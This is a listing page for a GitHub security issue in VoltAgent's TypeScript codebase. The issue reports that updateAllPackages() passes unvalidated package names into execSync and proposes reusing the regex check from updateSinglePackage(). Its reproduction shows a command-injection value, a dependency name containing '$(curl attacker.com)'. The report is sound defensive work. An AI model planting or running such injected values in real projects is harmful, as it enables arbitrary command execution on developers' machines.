[BUG] updateAllPackages missing command injection protection present in updateSinglePackage

Open Beginner friendly
#1,205 3 comments 6 reactions 0 assignees View on GitHub

Nobody has claimed this yet.

Assessment

Difficulty
2/5
Estimated time
1-3 hours
Newbie friendliness
68/100
Issue type
Bug
Clarity
Clearly specified
Activity status
Quiet
Tech stack
typescript
Domain
security, tooling

Research direction

Start in packages/core/src/utils/update/index.ts:335-369 and compare updateAllPackages with the existing validation in updateSinglePackage. Confirm that invalid package names from package.json are rejected before the command reaches execSync, and use the issue's injection example to verify the unsafe command is no longer passed through.

Written by the indexing model from the issue text.

Description

Bug Description

updateAllPackages() concatenates package names from package.json directly into shell commands passed to execSync() without validation. The sibling function updateSinglePackage() validates package names against a regex (/^(@[a-z0-9-~][a-z0-9-._~]*\/)?[a-z0-9-~][a-z0-9-._~]*$/), but updateAllPackages() does not.

Location

packages/core/src/utils/update/index.ts:335-369

Reproduction

If a package.json contains a tampered dependency name (e.g., via a malicious PR or dependency confusion):

{
  "dependencies": {
    "@voltagent/core": "^1.0.0",
    "@voltagent/exploit$(curl attacker.com)": "^1.0.0"
  }
}

When the update check runs, updateAllPackages at line 337 maps this to:

@voltagent/exploit$(curl attacker.com)@latest

At line 348, this becomes:

pnpm add @voltagent/exploit$(curl attacker.com)@latest

Which is passed to execSync(command, ...) at line 369, executing the injected command.

Impact

Command injection if package.json is tampered with. This requires a prior compromise of the package.json (e.g., via malicious PR, supply chain attack, or developer machine compromise), making it a P1 severity — not directly exploitable from an HTTP endpoint, but a missing defense-in-depth where the sibling function already has the fix.

Suggested Fix

Apply the same validation that updateSinglePackage already uses:

const isValidPackageName = /^(@[a-z0-9-~][a-z0-9-._~]*\/)?[a-z0-9-~][a-z0-9-._~]*$/;

const packagesToUpdate = updateCheckResult.updates
  .filter((pkg) => pkg.type !== "latest")
  .filter((pkg) => isValidPackageName.test(pkg.name))  // Add this line
  .map((pkg) => `${pkg.name}@latest`);

Or better yet, extract the validation into a shared helper used by both functions.


Found via codebase analysis. Happy to submit a PR if confirmed.

Dominant language
TypeScript
Stars
10.6k
Forks
1.1k
PR merge metrics
No merged PRs in 30d

Contributor guide

Open the contributing guide

First steps

  1. Read the whole issue, then the project's contributing guide.
  2. Comment on the issue to say you are picking it up — it saves two people doing the same work.
  3. Fork the repository and make your change on a branch.
  4. Open a pull request that references the issue number.

More from VoltAgent/voltagent

All issues in VoltAgent/voltagent

Similar issues

More TypeScript issues

Get new issues in your inbox

A short digest of beginner-friendly GitHub issues.